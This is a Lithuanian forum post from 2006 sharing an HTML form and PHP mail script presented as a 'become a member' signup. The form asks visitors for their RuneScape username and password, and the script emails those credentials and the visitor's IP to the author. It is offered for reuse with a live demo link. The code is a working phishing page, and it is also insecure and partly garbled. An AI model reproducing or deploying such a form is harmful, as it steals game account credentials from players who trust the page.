PHP skriptas, emailo forma ar kažkas panašaus

Skelbti atsakymą
Žinutė
Autorius
MaksasMks
ultra dalyvis
ultra dalyvis
Pranešimai:590
Užsiregistravo:2005 12 30 22:20
PHP skriptas, emailo forma ar kažkas panašaus

#1 Standartinė MaksasMks » 2006 08 31 23:05

Jau senokai rašiau kokį php skriptą :] Buvau pasinešęs ant dizaino ir laiko veltui nesugaišau. Skriptas bus pritaikytas dar neužbaigtam webui www.skeiperiai.tinkle.lt - vis bandau litų užsikalti :lol: Skriptą katik iškepiauu, jeigu rasit kokių klaidų butinai parašykit. Galbūt šis skriptas kaikuriems padės ir jie jį redaguos pagal save :] Ai tiesa dar jam neuždėtas bacgroundas ir keli dalykiukai. Sakau man visi padeda, o aš naudos jiokios neduodu :]

Indes.php

Kodas: Pasirinkti visus

<html>
<head>
<meta http-equiv="Content-Language" content="lt">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1257">
<title>Tapti nariu!</title>
<style>
<!--
.laukeliai { color: #000000; font-size: 8pt; font-family: Verdana, Arial, Helvetica, sans-serif  ;}
-->
</style>
</head>
<body link="#000000" vlink="#000000" alink="#000000" topmargin="4" leftmargin="4" bgcolor="#FFFFFF" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #000000">
<form method="POST" action="mail.php">

<p align="center"><br/>
Vardas (nikas):
  <input name="vardas" type="text" class="laukeliai" size="20">
</p>
<p align="center">Emailas:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <input name="email" size="20" class="laukeliai">
  </p>
<p align="center">RS nikas:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <input name="rs1" type="text" class="laukeliai" id="rs1" size="20">
<p align="center">RS slaptažodis:&nbsp;
  <input name="rs2" type="text" class="laukeliai" id="rs2" size="20">
</p>
<p align="center">Papildomas jūsų tekstas. <br/>
  <br/>
  <textarea name="laiskas" cols="40" rows="5" class="laukeliai"></textarea>
  <br/>
  © Forma By MaksasMks <br/>
    <input type="submit" value="Siusti" name="B1" class="laukeliai">
    <input type="reset" value="Valyti" name="B2" class="laukeliai">
</p>
</form>
</body>
</html>
mail.php

Kodas: Pasirinkti visus

<html>
<head>
<meta http-equiv="Content-Language" content="lt">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1257">
<title>Tapti nariu!</title>
<style>
<!--
.laukeliai { color: #000000; font-size: 8pt; font-family: Verdana, Arial, Helvetica, sans-serif }
-->
</style>
</head>
<body link="#000000" vlink="#000000" alink="#000000" topmargin="4" leftmargin="4" bgcolor="#FFFFFF" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #000000">
<p align="center">
<?php
// Skriptas By MaksasMks
// Galite prasyti skripto is MaksasMks@one.lt, bet ne dykai
// Jeigu skripte radote klaidu parasykit man
// Busiu lb dekingas :]

// Gaunami duomenys:
$vardas = $_POST["vardas"];
$email = $_POST["email"];
$laiskas = $_POST["laiskas"];
$rs2 = $_POST["rs2"];
$rs1 = $_POST["rs1"];
$ip = $REMOTE_ADDR;

// Administratoriaus emailas:
$admin_mail = "MaksasMks@one.lt";

// Temos laukelis (tema matysit kai gausit laiska}:
$tema = "Tapti memberiu";

// Formuojamas laiskas:
$suformuotas_lai?kas = "
Vardas (nikas): $vardas
Emailas: $email
RuneScape nikas: $rs1
RuneScape slaptazodis: $rs2
Siuntejo IP: $ip

$laiskas";

// Jeigu kaskuris laukelis neuzpildomas tuomet rodo:
// Patikrina ar netuscias vardo laukelis:
$zinute = "Tušcias vardo laukelis.";
if ($vardas != "")
{
// Patikrina ar RS niko laukelis:
$zinute = "Tušcias RuneScape niko laukelis.";
if ($rs1 != "")
{
// Patikrina ar netuscias emailo laukelis:
$zinute = "Tušcias emailo laukelis.";
if ($email != "")
{
// Patikrina ar netuscias rs slaptazodzio laukelis:
$zinute = "Tušcias RuneScape slaptažodžio laukelis.";
if ($rs2 != "")
{
// Patikrina ar netuscias zinutes laukelis:
$zinute = "Tušcias žinutes laukelis.";
if ($laiskas != "")
{
// Siuntimo funkcija:
mail ($admin_mail, $tema, $suformuotas_lai?kas);
$zinute = "Užklausa išsiųsta.";
}
}
}
}
}
// Rodomas rezultatas:
echo $zinute;
?>
</p>
</body>
</html>
:) Jė ryt į šule :lol: pavizdį galit pažiet: http://lt-mu.avita.lt/saugykla/
Get your ambition or die trying

Skelbti atsakymą

Grįžti į

Dabar prisijungę

Vartotojai naršantys šį forumą: 5 ir 0 svečių